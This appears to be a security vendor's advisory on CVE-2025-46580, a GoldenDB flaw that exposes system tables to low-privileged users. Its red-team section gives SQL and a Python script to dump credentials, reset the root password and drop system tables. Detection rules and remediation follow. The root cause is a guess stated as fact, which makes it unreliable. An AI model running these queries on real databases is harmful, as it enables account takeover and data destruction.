CVE-2025-46580

Executive Summary

CVE-2025-46580 is a code-related vulnerability in the GoldenDB database product that allows an authenticated attacker to access system tables, disrupting normal business SQL operations. The vulnerability has a CVSS score of 7.7 (High), indicating significant impact on confidentiality, integrity, and availability. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch. The attack vector is network-based, requires low complexity, and low privileges, making it a serious threat for organizations using GoldenDB in production environments.

Supply Chain & Package Security

GoldenDB is a proprietary database product, not distributed via public package registries (NPM, PyPI, Go, Ruby). The supply chain risk is limited to direct vendor distribution channels. Organizations should verify the integrity of their GoldenDB installation files and monitor vendor communications for patch updates.

CVSS Breakdown & Threat Level

• CVSS Score: 7.7 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions required.
• Privileges Required (PR): Low – Attacker needs valid database credentials with limited privileges.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – Exploitation does not affect other components.
• Confidentiality (C): High – System tables containing sensitive metadata can be accessed.
• Integrity (I): High – Attackers can modify system tables, potentially corrupting database operations.
• Availability (A): High – Disruption of business SQL operations can lead to denial of service.

Threat Level: High. The combination of network exploitability, low privileges, and high impact makes this a critical risk for any organization using GoldenDB.

Deep Dive & Mechanics

The vulnerability resides in GoldenDB's internal access control mechanism for system tables. System tables (e.g., mysql.*, information_schema.*, or GoldenDB-specific internal tables) are normally restricted to administrative users. Due to a code flaw, an authenticated user with low privileges can bypass these restrictions.

Root Cause: Improper privilege validation in the database engine's query parser or execution layer. When a user submits a SQL query referencing a system table, the engine fails to enforce the required SUPER or SYSTEM_VARIABLES_ADMIN privilege, allowing the query to execute.

Attack Flow:

1. Attacker obtains low-privileged database credentials (e.g., via SQL injection, weak passwords, or insider access).
2. Attacker connects to the GoldenDB instance over the network.
3. Attacker executes SQL queries targeting system tables, such as:

   SELECT * FROM mysql.user;
   UPDATE mysql.user SET authentication_string='new_hash' WHERE User='root';
   

4. The database engine processes the query without proper privilege checks.
5. Attacker can read sensitive metadata (user passwords, privileges) or modify system tables to escalate privileges or disrupt operations.

Impact on Business SQL: By corrupting system tables (e.g., modifying mysql.proc or mysql.event), the attacker can cause stored procedures, triggers, or scheduled events to fail, leading to application errors and downtime.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, based on the vulnerability description, the fix would involve adding privilege checks in the query execution path for system table access.

Vulnerable Code (Conceptual):

-- No privilege check before executing query on system table
IF (table_schema IN ('mysql', 'information_schema', 'performance_schema')) THEN
    EXECUTE_QUERY(query);
END IF;

Patched Code (Expected):

-- Add privilege check
IF (table_schema IN ('mysql', 'information_schema', 'performance_schema')) THEN
    IF (user_has_privilege('SYSTEM_VARIABLES_ADMIN') OR user_has_privilege('SUPER')) THEN
        EXECUTE_QUERY(query);
    ELSE
        THROW_ERROR('Access denied');
    END IF;
END IF;

Exploitation & Lab Setup

Red Team

Prerequisites:

• GoldenDB instance (any version) accessible over the network.
• Low-privileged database credentials (e.g., user1 with only SELECT on a user database).

Exploitation Steps:

1. Connect to the database:

   mysql -h target.goldendb.com -u user1 -p
   

2. Attempt to access system tables:

   SELECT * FROM mysql.user;
   

   If successful, the vulnerability is confirmed.
3. Escalate privileges by modifying the mysql.user table:

   UPDATE mysql.user SET authentication_string=PASSWORD('newpass') WHERE User='root';
   FLUSH PRIVILEGES;
   

4. Disrupt operations by dropping a system table:

   DROP TABLE mysql.proc;
   

Automation Script (Python):

import mysql.connector

def exploit(host, user, password):
    conn = mysql.connector.connect(host=host, user=user, password=password)
    cursor = conn.cursor()
    try:
        cursor.execute("SELECT * FROM mysql.user")
        print("Vulnerable! System tables accessible.")
        for row in cursor.fetchall():
            print(row)
    except Exception as e:
        print(f"Not vulnerable: {e}")
    finally:
        cursor.close()
        conn.close()

if __name__ == "__main__":
    exploit("target.goldendb.com", "user1", "password123")

Blue Team

Detection & Response:

1. Monitor database logs for unauthorized access to system tables:

   SET GLOBAL log_warnings=2;
   SET GLOBAL general_log=ON;
   

2. Use database audit plugins (e.g., MariaDB Audit Plugin) to log all queries.
3. Implement network segmentation to restrict database access to trusted IPs only.
4. Enforce strong password policies and rotate credentials regularly.
5. Deploy a Web Application Firewall (WAF) to block SQL injection attempts that could lead to credential theft.

Honeypot Setup: Deploy a decoy GoldenDB instance with fake system tables to detect scanning activity.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusual SQL queries targeting mysql.*, information_schema.*, or performance_schema.* from non-admin users.
  • Connections from unexpected IP addresses to port 3306.
• Host IOCs:
  • Database error logs containing "Access denied" followed by successful system table queries.
  • Modified mysql.user table entries.
  • Presence of new database users with elevated privileges.
• File IOCs:
  • Unauthorized changes to GoldenDB configuration files (e.g., my.cnf).
  • Suspicious scripts in the database data directory.

Detection Engineering

YARA Rule

rule CVE_2025_46580_GoldenDB_SystemTableAccess {
    meta:
        description = "Detects SQL queries targeting GoldenDB system tables from low-privileged users"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-46580"
    strings:
        $s1 = "SELECT * FROM mysql." ascii wide nocase
        $s2 = "UPDATE mysql." ascii wide nocase
        $s3 = "DROP TABLE mysql." ascii wide nocase
        $s4 = "information_schema" ascii wide nocase
        $s5 = "performance_schema" ascii wide nocase
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: GoldenDB System Table Access by Low-Privileged User
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL queries targeting GoldenDB system tables from non-admin users
author: Valters IT
date: 2025-04-10
logsource:
    category: database
    product: goldendb
detection:
    selection:
        Query|contains:
            - 'mysql.user'
            - 'mysql.db'
            - 'mysql.tables_priv'
            - 'information_schema'
            - 'performance_schema'
        User|notcontains:
            - 'root'
            - 'admin'
            - 'dba'
    condition: selection
falsepositives:
    - Legitimate administrative tasks (should be rare)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 3306 (msg:"CVE-2025-46580 GoldenDB System Table Access Attempt"; flow:to_server,established; content:"SELECT"; nocase; content:"mysql."; distance:0; within:100; content:"user"; distance:0; within:50; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Network Access: Use firewall rules to allow only trusted IPs to connect to the GoldenDB port (3306).
2. Apply Principle of Least Privilege: Review and revoke unnecessary database privileges. Ensure only administrators have access to system tables.
3. Enable Database Auditing: Turn on query logging and audit plugins to detect suspicious activity.
4. Monitor for Exploitation: Deploy the provided YARA, Sigma, and Suricata rules to detect attacks.

Long-Term Fixes:

• Vendor Patch: Await an official patch from Goldendb. Contact vendor support for updates.
• Upgrade: If a patched version becomes available, upgrade immediately.
• Workaround: If patching is not possible, consider migrating to a different database solution that is actively maintained.

Compensating Controls:

• Deploy a database firewall (e.g., Imperva, McAfee) to block unauthorized queries.
• Use a Web Application Firewall (WAF) to prevent SQL injection that could lead to credential theft.
• Implement multi-factor authentication (MFA) for database access.

Valters IT
DevSecOps & Cyber Threat Intelligence Division